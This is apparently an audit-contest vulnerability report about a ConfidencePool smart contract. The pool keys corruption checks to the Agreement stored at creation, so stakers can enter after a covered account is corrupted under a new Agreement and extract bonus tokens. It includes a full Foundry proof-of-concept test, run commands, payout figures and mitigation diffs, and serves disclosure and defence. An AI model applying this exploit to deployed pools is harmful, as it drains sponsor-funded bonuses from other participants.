FoundrySolidityLayer 2
7.25 ETH
Submission Details
Impact: medium
Likelihood: medium

Agreement narrowing severs locked account scope from corruption gating, enabling post-corruption bonus extraction

Author Revealed upon completion

Root + Impact

Description

ConfidencePool is intended to permanently lock a concrete, pool-local list of covered accounts once risk exposure begins. Even when the underlying Agreement later narrows its scope, the locked pool scope remains the binding commitment to stakers, and the moderator must be able to determine whether a corruption event affected that scope.

The issue is that ConfidencePool derives staking eligibility, withdrawal availability, moderator outcome validity, and expiry settlement exclusively from the Agreement address stored when the pool was created. BattleChain allows a covered account to be removed from that Agreement and rebound to a new authoritative Binding Agreement.

After account C moves from Agreement A to Agreement B, the stale pool still permanently lists C as its sole covered account, but it never reads C's current Binding Agreement. When B becomes CORRUPTED while A remains UNDER_ATTACK, the stale pool continues accepting stake, existing stakers remain unable to withdraw after risk exposure begins, the owner cannot remove C or change the locked expiry, and the moderator cannot flag the pool CORRUPTED. The pool can later settle as EXPIRED despite its sole covered account being authoritatively corrupted.

The root cause is that all of these decisions ultimately consume the state of the pool's original Agreement through _getAgreementState(). The locked account list is never resolved through getAgreementForContract(account) after scope lock:

function _getAgreementState()
internal
view
returns (IAttackRegistry.ContractState)
{
// @> The pool reads only the Agreement stored at pool creation.
//
// @> It does not resolve the current Binding Agreement of each
// @> account retained in the locked pool-local scope.
return attackRegistry.getAgreementState(agreement);
}

Consequently, the implementation preserves every continuing restriction created by including C—immutable local scope, immutable expiry, and continued staker exposure—while losing the ability to recognize C's authoritative corruption independently of Agreement A's state.

Risk

Likelihood: Medium

  • The issue occurs when an account remains in a locked pool scope after being removed from the pool's original Agreement, is rebound to a replacement Binding Agreement, and becomes corrupted while the original Agreement remains in a non-terminal state such as UNDER_ATTACK.

  • Agreement narrowing and account rebinding are supported protocol lifecycle operations, and exploitation is permissionless. Once the replacement Agreement is corrupted, any address can deposit into an affected unpaused legacy pool until expiry, pausing, resolution, or an unrelated state transition of the original Agreement.

Impact: Medium to High

  • The moderator cannot apply the supported CORRUPTED classification to a pool whose sole locally covered account has been authoritatively corrupted, allowing the pool to settle as EXPIRED contrary to its locked account scope.

  • A post-corruption entrant can deposit under the stale Agreement state, recover its principal in the demonstrated lifecycle, and capture sponsor-funded bonus tokens. The integrated PoC extracts 69.964568180056584149 bonus tokens from one pool and 242.333013076287260647 bonus tokens across three affected pools.

Proof of Concept

Add the following test file at:

test/integration/POC_RealDetachedScopeInvariant.t.sol

// SPDX-License-Identifier: MIT
pragma solidity 0.8.26;
import {
POC_RealBindingDetachmentIntegration
} from "test/integration/POC_RealBindingDetachmentIntegration.t.sol";
import {ConfidencePool} from "src/ConfidencePool.sol";
import {IConfidencePool} from "src/interfaces/IConfidencePool.sol";
import {PoolStates} from "src/libraries/PoolStates.sol";
import {IAttackRegistry} from "@battlechain/interface/IAttackRegistry.sol";
contract POC_RealDetachedScopeInvariant is
POC_RealBindingDetachmentIntegration
{
uint256 internal constant POST_CORRUPTION_STAKE = 1_000e18;
address internal staleAlice = makeAddr("staleAlice");
address internal staleBob = makeAddr("staleBob");
address internal invariantAttacker = makeAddr("invariantAttacker");
ConfidencePool internal stalePoolC;
function test_REAL_COnlyStalePoolCannotRecognizeAuthoritativeCorruption()
external
{
_createLockedStaleCOnlyPool();
// Real upstream lifecycle:
// 1. Remove C from Agreement A.
// 2. Bind C to Agreement B.
// 3. Corrupt Agreement B while A remains UNDER_ATTACK.
_detachCBindToBAndCorrupt();
assertFalse(
agreementA.isContractInScope(ACCOUNT_C)
);
assertTrue(
agreementB.isContractInScope(ACCOUNT_C)
);
assertEq(
attackRegistry.getAgreementForContract(ACCOUNT_C),
address(agreementB)
);
assertEq(
uint256(
attackRegistry.getAgreementState(address(agreementA))
),
uint256(IAttackRegistry.ContractState.UNDER_ATTACK)
);
assertEq(
uint256(
attackRegistry.getAgreementState(address(agreementB))
),
uint256(IAttackRegistry.ContractState.CORRUPTED)
);
// Both pools cover only C.
_assertCOnlyLockedScope(stalePoolC);
_assertCOnlyLockedScope(poolC);
assertEq(
stalePoolC.agreement(),
address(agreementA)
);
assertEq(
poolC.agreement(),
address(agreementB)
);
/*
* The current-binding B pool correctly rejects staking
* because B is already CORRUPTED.
*/
stakeToken.mint(
invariantAttacker,
POST_CORRUPTION_STAKE
);
vm.startPrank(invariantAttacker);
stakeToken.approve(
address(poolC),
POST_CORRUPTION_STAKE
);
vm.expectRevert(
IConfidencePool.StakingClosed.selector
);
poolC.stake(POST_CORRUPTION_STAKE);
/*
* The stale A pool accepts the identical stake because it
* still reads Agreement A == UNDER_ATTACK.
*/
stakeToken.approve(
address(stalePoolC),
POST_CORRUPTION_STAKE
);
stalePoolC.stake(POST_CORRUPTION_STAKE);
vm.stopPrank();
assertEq(
poolC.eligibleStake(invariantAttacker),
0
);
assertEq(
stalePoolC.eligibleStake(invariantAttacker),
POST_CORRUPTION_STAKE
);
/*
* The current-binding pool can represent C's corruption.
*/
vm.prank(poolModerator);
poolC.flagOutcome(
PoolStates.Outcome.CORRUPTED,
true,
whitehat
);
assertEq(
uint256(poolC.outcome()),
uint256(PoolStates.Outcome.CORRUPTED)
);
/*
* The stale C-only pool rejects the identical moderator
* classification because Agreement A is not CORRUPTED.
*/
vm.prank(poolModerator);
vm.expectRevert(
IConfidencePool.InvalidOutcome.selector
);
stalePoolC.flagOutcome(
PoolStates.Outcome.CORRUPTED,
true,
whitehat
);
assertEq(
uint256(stalePoolC.outcome()),
uint256(PoolStates.Outcome.UNRESOLVED)
);
}
function test_REAL_COnlyPoolPreservesObligationsButLosesCorruptionRelevance()
external
{
_createLockedStaleCOnlyPool();
address actualPoolOwner = stalePoolC.owner();
_detachCBindToBAndCorrupt();
/*
* C remains permanently covered by the pool even though it
* is no longer part of Agreement A.
*/
assertFalse(
agreementA.isContractInScope(ACCOUNT_C)
);
assertEq(
attackRegistry.getAgreementForContract(ACCOUNT_C),
address(agreementB)
);
assertTrue(
stalePoolC.isAccountInScope(ACCOUNT_C)
);
assertTrue(stalePoolC.scopeLocked());
assertTrue(stalePoolC.expiryLocked());
/*
* Existing stakers remain unable to withdraw after the
* risk window has opened.
*/
vm.prank(staleAlice);
vm.expectRevert(
IConfidencePool.WithdrawsDisabled.selector
);
stalePoolC.withdraw();
/*
* The actual pool owner cannot remove C from the locked scope.
*/
vm.prank(actualPoolOwner);
vm.expectRevert(
IConfidencePool.ScopePostLockImmutable.selector
);
stalePoolC.setPoolScope(_scopeD());
/*
* Read the current expiry before installing expectRevert,
* because Foundry treats the next external getter call as
* the call expected to revert.
*/
uint256 attemptedNewExpiry =
uint256(stalePoolC.expiry()) + 1 days;
/*
* The actual pool owner cannot modify the locked expiry.
*/
vm.prank(actualPoolOwner);
vm.expectRevert(
IConfidencePool.ExpiryLocked.selector
);
stalePoolC.setExpiry(attemptedNewExpiry);
/*
* A new permissionless entrant is still admitted after C
* has already been corrupted under Agreement B.
*/
stakeToken.mint(
invariantAttacker,
POST_CORRUPTION_STAKE
);
vm.startPrank(invariantAttacker);
stakeToken.approve(
address(stalePoolC),
POST_CORRUPTION_STAKE
);
stalePoolC.stake(POST_CORRUPTION_STAKE);
vm.stopPrank();
assertEq(
stalePoolC.eligibleStake(invariantAttacker),
POST_CORRUPTION_STAKE
);
/*
* The moderator cannot represent corruption of the pool's
* sole covered account.
*/
vm.prank(poolModerator);
vm.expectRevert(
IConfidencePool.InvalidOutcome.selector
);
stalePoolC.flagOutcome(
PoolStates.Outcome.CORRUPTED,
true,
whitehat
);
/*
* Agreement A remains UNDER_ATTACK, so the stale pool
* resolves EXPIRED despite C being CORRUPTED under B.
*/
vm.warp(uint256(stalePoolC.expiry()));
vm.prank(resolver);
stalePoolC.claimExpired();
assertEq(
uint256(stalePoolC.outcome()),
uint256(PoolStates.Outcome.EXPIRED)
);
/*
* The post-corruption entrant recovers its principal and
* receives a positive share of the sponsor-funded bonus.
*/
uint256 attackerBefore =
stakeToken.balanceOf(invariantAttacker);
vm.prank(invariantAttacker);
stalePoolC.claimExpired();
uint256 attackerPayout =
stakeToken.balanceOf(invariantAttacker)
- attackerBefore;
assertGt(
attackerPayout,
POST_CORRUPTION_STAKE
);
emit log_named_address(
"Pool sole locked account",
ACCOUNT_C
);
emit log_named_address(
"Pool stored Agreement",
stalePoolC.agreement()
);
emit log_named_address(
"C current Binding Agreement",
attackRegistry.getAgreementForContract(ACCOUNT_C)
);
emit log_named_uint(
"Agreement A state",
uint256(
attackRegistry.getAgreementState(address(agreementA))
)
);
emit log_named_uint(
"Agreement B state",
uint256(
attackRegistry.getAgreementState(address(agreementB))
)
);
emit log_named_uint(
"Stale C-only pool outcome",
uint256(stalePoolC.outcome())
);
emit log_named_uint(
"Post-corruption attacker payout",
attackerPayout
);
emit log_named_uint(
"Post-corruption attacker bonus",
attackerPayout - POST_CORRUPTION_STAKE
);
}
function _createLockedStaleCOnlyPool()
internal
{
stalePoolC = _createPool(
address(agreementA),
OLD_POOL_EXPIRY,
_scopeC()
);
_fundPool(
stalePoolC,
staleAlice,
staleBob
);
assertEq(
stalePoolC.owner(),
protocolDeployer
);
assertEq(
stalePoolC.agreement(),
address(agreementA)
);
assertEq(
stalePoolC.totalEligibleStake(),
PRINCIPAL
);
assertEq(
stalePoolC.totalBonus(),
BONUS
);
assertEq(
stakeToken.balanceOf(address(stalePoolC)),
PRINCIPAL + BONUS
);
assertTrue(stalePoolC.scopeLocked());
assertTrue(stalePoolC.expiryLocked());
assertEq(
stalePoolC.riskWindowStart(),
T0
);
_assertCOnlyLockedScope(stalePoolC);
}
function _assertCOnlyLockedScope(
ConfidencePool target
)
internal
view
{
address[] memory scope =
target.getScopeAccounts();
assertEq(
scope.length,
1,
"pool must cover exactly one account"
);
assertEq(
scope[0],
ACCOUNT_C,
"pool's sole covered account must be C"
);
assertTrue(
target.isAccountInScope(ACCOUNT_C)
);
assertFalse(
target.isAccountInScope(ACCOUNT_D)
);
assertTrue(target.scopeLocked());
}
}

Run:

forge test \
--match-contract POC_RealDetachedScopeInvariant \
--match-test 'test_REAL_COnly' \
-vv

Expected result:

[PASS] test_REAL_COnlyPoolPreservesObligationsButLosesCorruptionRelevance()
[PASS] test_REAL_COnlyStalePoolCannotRecognizeAuthoritativeCorruption()

Observed impact from the integrated test:

Post-corruption attacker payout:
1069.964568180056584149 tokens
Post-corruption attacker bonus:
69.964568180056584149 tokens

Recommended Mitigation

The pool should not derive account-specific corruption solely from the Agreement address stored at creation. Once scope is locked, each covered account should remain security-relevant regardless of later Agreement narrowing.

For CORRUPTED gating and post-corruption staking, resolve the current Binding Agreement of every locked scope account and determine whether any account is authoritatively corrupted.

function _getAgreementState()
internal
view
returns (IAttackRegistry.ContractState)
{
return attackRegistry.getAgreementState(agreement);
}
+function _hasAuthoritativelyCorruptedScopeAccount()
+ internal
+ view
+ returns (bool)
+{
+ uint256 length = _scopeAccounts.length;
+
+ for (uint256 i; i < length; ++i) {
+ address account = _scopeAccounts[i];
+
+ address bindingAgreement =
+ attackRegistry.getAgreementForContract(account);
+
+ if (
+ bindingAgreement != address(0)
+ && attackRegistry.getAgreementState(bindingAgreement)
+ == IAttackRegistry.ContractState.CORRUPTED
+ ) {
+ return true;
+ }
+ }
+
+ return false;
+}

Use the account-level result when accepting new stake:

function stake(uint256 amount) external {
IAttackRegistry.ContractState state =
_getAgreementState();
+ if (_hasAuthoritativelyCorruptedScopeAccount()) {
+ revert StakingClosed();
+ }
+
if (!_stakingOpen(state)) {
revert StakingClosed();
}
_stake(msg.sender, amount);
}

Allow the moderator to classify the pool as CORRUPTED when either the original Agreement is corrupted or at least one account in the locked local scope is corrupted under its current authoritative Binding Agreement:

function flagOutcome(
PoolStates.Outcome newOutcome,
bool goodFaith,
address attacker
) external onlyOutcomeModerator {
IAttackRegistry.ContractState state =
_getAgreementState();
if (
newOutcome == PoolStates.Outcome.CORRUPTED
- && state
- != IAttackRegistry.ContractState.CORRUPTED
+ && state
+ != IAttackRegistry.ContractState.CORRUPTED
+ && !_hasAuthoritativelyCorruptedScopeAccount()
) {
revert InvalidOutcome();
}
_flagOutcome(
newOutcome,
goodFaith,
attacker
);
}

Expiry resolution must also avoid resolving the pool as EXPIRED while a locked scope account is authoritatively corrupted:

function claimExpired() external {
IAttackRegistry.ContractState state =
_getAgreementState();
+ if (_hasAuthoritativelyCorruptedScopeAccount()) {
+ revert ModeratorResolutionRequired();
+ }
+
_resolveFromAgreementState(state);
}

An alternative design is to permanently bind each locked scope account to the Agreement that governed it when the pool scope was locked. Under that design, BattleChain must prevent those accounts from being removed or rebound while an active pool still references them. Otherwise, the pool-local scope and authoritative registry state can diverge again.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!